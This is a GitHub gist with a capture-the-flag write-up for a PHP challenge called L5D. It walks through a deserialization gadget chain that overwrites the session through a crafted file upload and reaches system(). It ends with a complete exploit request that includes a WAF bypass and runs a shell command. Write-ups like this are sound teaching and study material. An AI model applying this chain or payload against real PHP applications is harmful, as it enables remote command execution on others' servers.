Skip to content

Instantly share code, notes, and snippets.

@sqrtrev
Created November 16, 2020 05:30
Show Gist options
  • Save sqrtrev/83e2c6b50c645154c2d2a9d085a10973 to your computer and use it in GitHub Desktop.
Save sqrtrev/83e2c6b50c645154c2d2a9d085a10973 to your computer and use it in GitHub Desktop.

L5D

by sqrtrev

Let's check given code first.

There are 5 classes like below:

class L5D_Upload {

    function __wakeup() {
        global $cmd;
        global $is_upload;
        $cmd = "whoami";
        $_SESSION['name'] = randstr(14);
        $is_upload = (count($_FILES) > 0);
    }

    function __destruct() {
        global $is_upload;
        global $status;
        global $l5d_file;
        $status = "upload_fail";
        if ($is_upload) {

            foreach ($_FILES as $key => $value)
                $GLOBALS[$key] = $value;
        
            if(is_uploaded_file($l5d_file['tmp_name'])) {
                
                $check = @getimagesize($l5d_file["tmp_name"]);
                
                if($check !== false) {

                    $target_dir = "/var/tmp/";
                    $target_file = $target_dir . randstr(10);

                    if (file_exists($target_file)) {
                        echo "File already exists..<br>";
                        finalize();
                        exit;
                    }

                    if ($l5d_file["size"] > 500000) {
                        echo "File is too large..<br>";
                        finalize();
                        exit;
                    }

                    if (move_uploaded_file($l5d_file["tmp_name"], $target_file)) {
                        echo "File upload OK!<br>";
                        $l5d_file = $target_file;
                        $status = "upload_ok";
                    } else {
                        echo "Upload failed :(<br>";
                        finalize();
                        exit;
                    }

                } else {
                    finalize();
                    exit;
                }
                
            } else {
                echo "Bad hacker!<br>";
                finalize();
                exit;
            }
        }
    }
}

L5D_Upload is for file uploading. And you need to focus on two parts.

foreach ($_FILES as $key => $value)
    $GLOBALS[$key] = $value;
/ ** skip ** /
if (move_uploaded_file($l5d_file["tmp_name"], $target_file)) {
    echo "File upload OK!<br>";
    $l5d_file = $target_file;
    $status = "upload_ok";
}

This makes the contents of $_FILES as global variable. Assume that $key will be _SESSION and $value will be $_SESSION's contents. This will overwrite our session. Fortunately, we use $_SESSION['name'] and $_FILES has also have $_FILES['name']. This mean, we can overwrite $_SESSION['name'] with file upload. So, the payload of overwriting session will be like this:

------WebKitFormBoundarysCJbH2RWHhDJhW4p
Content-Disposition: form-data; name="_SESSION"; filename="wubalubadubdub"
Content-Type: application/octet-stream

aa

and the if we uploaded file successfully, there will be no finalize() function.

(Note: finalize() will destroy session.)

class L5D_ResetCMD {

    protected $new_cmd = "echo 'I am new cmd!'";

    function __wakeup() {
        global $cmd;
        global $is_upload;
        global $status;
        $_SESSION['name'] = randstr(14);
        $is_upload = false;

        if(!isset($this->new_cmd)) {
            $status = "error";
            $error = "Empty variable error!";
            throw new Exception($error);   
        }

        if(!is_string($this->new_cmd)) {
            $status = "error";
            $error = 'Type error!';
            throw new Exception($error);
        }
    }

    function __destruct() {
        global $cmd;
        global $status;
        $status = "reset";
        if($_SESSION['name'] === 'wubalubadubdub') {
            $cmd = $this->new_cmd;
        }
    }

}

L5D_ResetCMD will update $cmd variable if our session is wubalubadubdub.

Note that there is $_SESSION['name'] = randstr(14); at __wakeup().

class L5D_Login {

    function __wakeup() {
        $this->login();
    }

    function __destruct() {
        $this->logout();
    }

    function login() {
        $flag = file_get_contents("/flag");
        $p4ssw0rd = hash("sha256", $flag);
        if($_GET['p4ssw0rd'] === $p4ssw0rd)
            $_SESSION['name'] = "wubalubadubdub";
    }

    function logout() {
        global $status;
        unset($_SESSION['name']);
        $status = "finish";
    }

}

L5D_Login is just for checking flag. I will not use this class in my payload.

class L5D_SayMyName {

    function __wakeup() {
        if(!isset($_SESSION['name'])) 
            $_SESSION['name'] = randstr(14);
        echo "Your name is ".$_SESSION['name']."<br>";
    }

    function __destruct() {
        echo "Your name is ".$_SESSION['name']."<br>";
    }

}

L5D_SayMyName is just print our $_SESSION['name'];

class L5D_Command {

    function __wakeup() {
        global $cmd;
        global $is_upload;
        $_SESSION['name'] = randstr(14);
        $is_upload = false;
        $cmd = "whoami";
    }

    function __toString() {
        global $cmd;
        return "Here is your command: {$cmd} <br>";
    }

    function __destruct() {
        global $cmd;
        global $status;
        global $is_unser_finished;
        $status = "cmd";
        if($is_unser_finished === true) {
            echo "Your command [<span style='color:red'>{$cmd}</span>] result: ";
            echo "<span style='color:blue'>";
            @system($cmd);
            echo "</span>";
        }
    }

}

L5D_Command is execute $cmd via system().

So, Idea is simple now.

Unserialize the L5D_Upload for update $_SESSION for L5D_ResetCMD, update $cmd and do L5D_Command.

The one thing we need to consider is order of unserialization because of __wakeup and __destruct's variable control.

Also, we could bypass the waf using S:

final payload:

POST /?%3f=O:9:"Directory":5:{s:6:"handle";O:10:"L5D_Upload":0:{}s:4:"path";O:12:"L5D_ResetCMD":1:{S:10:"%00\2a%00new_cmd";s:2:"ls";}s:6:"handle";O:10:"L5D_Upload":0:{}s:1:"h";O:11:"L5D_Command":0:{}s:6:"handle";O:10:"L5D_Upload":0:{}} HTTP/1.1
Host: l5d.balsnctf.com:12345
Content-Length: 4360
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Whale/2.8.108.15 Safari/537.36
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaxaBJ35r377fSyzt
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=sqrtrev
Connection: close

------WebKitFormBoundaryaxaBJ35r377fSyzt
Content-Disposition: form-data; name="_SESSION"; filename="wubalubadubdub"
Content-Type: application/octet-stream

aaa
------WebKitFormBoundaryaxaBJ35r377fSyzt
Content-Disposition: form-data; name="l5d_file"; filename="Screenshot_2020-11-14_at_12.03.20_PM.png"
Content-Type: image/png

{SMALL IMAGE HERE}
------WebKitFormBoundaryaxaBJ35r377fSyzt--
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment